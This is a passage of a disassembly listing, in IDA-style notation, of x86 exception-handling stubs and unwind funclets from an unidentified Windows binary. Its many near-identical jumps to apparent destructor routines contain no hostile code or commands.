eax, offset dword_43FE40 jmp sub_4367C8 SEH_4126B0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398D8: ; DATA XREF: ___:0043FEA4o lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412970 proc near ; DATA XREF: sub_412970+8o mov eax, offset dword_43FE78 jmp sub_4367C8 SEH_412970 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412C10 proc near ; DATA XREF: sub_412C10+2o mov eax, offset dword_43FEB0 jmp sub_4367C8 SEH_412C10 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439918: ; DATA XREF: ___:0043FF0Co lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994E: ; DATA XREF: ___:00412CB8o mov eax, offset dword_43FEE0 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43997B: ; DATA XREF: ___:0043FF6Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014B5 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413120 proc near ; DATA XREF: sub_413120+2o mov eax, offset dword_43FF40 jmp sub_4367C8 SEH_413120 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014B5 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413220 proc near ; DATA XREF: sub_413220+2o mov eax, offset dword_43FF88 jmp sub_4367C8 SEH_413220 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4132E0 proc near ; DATA XREF: sub_4132E0+2o mov eax, offset dword_43FFD0 jmp sub_4367C8 SEH_4132E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4133D0 proc near ; DATA XREF: sub_4133D0+2o mov eax, offset dword_440008 jmp sub_4367C8 SEH_4133D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413510 proc near ; DATA XREF: sub_413510+2o mov eax, offset dword_440038 jmp sub_4367C8 SEH_413510 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401578 ; --------------------------------------------------------------------------- loc_439A78: ; DATA XREF: ___:00440094o lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413670 proc near ; DATA XREF: sub_413670+2o mov eax, offset dword_440068 jmp sub_4367C8 SEH_413670 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439A98: ; DATA XREF: ___:004400CCo lea ecx, [ebp-0A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4137E0 proc near ; DATA XREF: sub_4137E0+2o mov eax, offset dword_4400A0 jmp sub_4367C8 SEH_4137E0 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439AD8: ; DATA XREF: ___:0044010Co lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_401578 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4139B0 proc near ; DATA XREF: sub_4139B0+2o mov eax, offset dword_4400E0 jmp sub_4367C8 SEH_4139B0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439B08: ; DATA XREF: ___:00413AE2o mov eax, offset dword_440120 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439B28: ; DATA XREF: ___:0044017Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439B30: ; DATA XREF: ___:00440184o mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_439B3B: ; DATA XREF: ___:0044018Co lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413B70 proc near ; DATA XREF: sub_413B70+2o mov eax, offset dword_440150 jmp sub_4367C8 SEH_413B70 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+64h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439B68: ; DATA XREF: ___:004401C4o lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413DA0 proc near ; DATA XREF: sub_413DA0+2o mov eax, offset dword_440198 jmp sub_4367C8 SEH_413DA0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_439BBB: ; DATA XREF: ___:0044021Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414090 proc near ; DATA XREF: sub_414090+2o mov eax, offset dword_4401F0 jmp sub_4367C8 SEH_414090 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439BF8: ; DATA XREF: ___:0044025Co mov ecx, [ebp+14h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439C10: ; DATA XREF: ___:00414122o mov eax, offset dword_440230 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439C38: ; DATA XREF: ___:004402A4o lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414230 proc near ; DATA XREF: sub_414230+2o mov eax, offset dword_440278 jmp sub_4367C8 SEH_414230 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439C88: ; DATA XREF: ___:004402F4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414360 proc near ; DATA XREF: sub_414360+2o mov eax, offset dword_4402C8 jmp sub_4367C8 SEH_414360 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439CC8: ; DATA XREF: ___:0044033Co mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439CD8: ; DATA XREF: ___:00414402o mov eax, offset dword_440310 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4144D0 proc near ; DATA XREF: sub_4144D0+2o mov eax, offset dword_440350 jmp sub_4367C8 SEH_4144D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439D18: ; DATA XREF: ___:004403ACo lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439D20: ; DATA XREF: ___:00414692o mov eax, offset dword_440380 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439D38: ; DATA XREF: ___:004403E4o lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4147D0 proc near ; DATA XREF: sub_4147D0+2o mov eax, offset dword_4403B8 jmp sub_4367C8 SEH_4147D0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_439D5B: ; DATA XREF: ___:0044041Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4149D0 proc near ; DATA XREF: sub_4149D0+2o mov eax, offset dword_4403F0 jmp sub_4367C8 SEH_4149D0 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439D98: ; DATA XREF: ___:00414A62o mov eax, offset dword_440430 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439DB8: ; DATA XREF: ___:00414AF2o mov eax, offset dword_440460 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439DD8: ; DATA XREF: ___:004404BCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414CA0 proc near ; DATA XREF: sub_414CA0+2o mov eax, offset dword_440490 jmp sub_4367C8 SEH_414CA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-48h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-44h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414D40 proc near ; DATA XREF: sub_414D40+8o mov eax, offset dword_4404D8 jmp sub_4367C8 SEH_414D40 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_439E78: ; DATA XREF: ___:00440564o mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_40143D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401929 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401C8F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401E83 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C0 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A23 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017A3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402216 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401EB0 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018CA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017D0 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B27 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F28 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_40187A ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401DED ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_401FF5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_40176C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401EE2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FE1: ; DATA XREF: ___:00416992o mov eax, offset dword_440538 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401262 ; --------------------------------------------------------------------------- loc_43A058: ; DATA XREF: ___:00440674o mov ecx, [ebp-10h] add ecx, 3Eh jmp sub_40143D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 15Fh jmp sub_401929 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B46h jmp sub_401C8F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BBEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C58h jmp sub_4014F1 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1D29h jmp sub_401E83 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1E6Fh jmp sub_401235 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8EF5Dh jmp sub_4013C0 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F247h jmp sub_401A23 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F270h jmp sub_4017A3 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F285h jmp sub_402216 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F3A2h jmp sub_401EB0 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8F4BFh jmp sub_4018CA ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA13h jmp sub_4017D0 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FA73h jmp sub_401B27 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FAD3h jmp sub_401F28 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB05h jmp sub_401113 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FB93h jmp sub_40187A ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBCDh jmp sub_401DED ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FBFFh jmp sub_401FF5 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC31h jmp sub_40176C ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FC42h jmp sub_401EE2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD2Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD42h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD57h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9FD6Ch jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A1C1: ; DATA XREF: ___:00416D32o mov eax, offset dword_440648 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 65h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_416FB0 proc near ; DATA XREF: sub_416FB0+2o mov eax, offset dword_440758 jmp sub_4367C8 SEH_416FB0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_43A25B: ; DATA XREF: ___:004407B4o mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40206D ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417020 proc near ; DATA XREF: sub_417020+2o mov eax, offset dword_440788 jmp sub_4367C8 SEH_417020 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A68B: ; DATA XREF: ___:004409F4o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 47h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 75h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417540 proc near ; DATA XREF: sub_417540+2o mov eax, offset dword_4409C8 jmp sub_4367C8 SEH_417540 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A6DB: ; DATA XREF: ___:00440A3Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0EAh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4175E0 proc near ; DATA XREF: sub_4175E0+2o mov eax, offset dword_440A10 jmp sub_4367C8 SEH_4175E0 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D008h jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A74E: ; DATA XREF: ___:00440A94o mov ecx, [ebp-10h] add ecx, 8D036h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D064h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8D092h jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4176B0 proc near ; DATA XREF: sub_4176B0+2o mov eax, offset dword_440A68 jmp sub_4367C8 SEH_4176B0 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A7AB: ; DATA XREF: ___:00440ADCo mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417770 proc near ; DATA XREF: sub_417770+2o mov eax, offset dword_440AB0 jmp sub_4367C8 SEH_417770 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43A80B: ; DATA XREF: ___:00440B2Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_417830 proc near ; DATA XREF: sub_417830+2o mov eax, offset dword_440B00 jmp sub_4367C8 SEH_417830 endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: 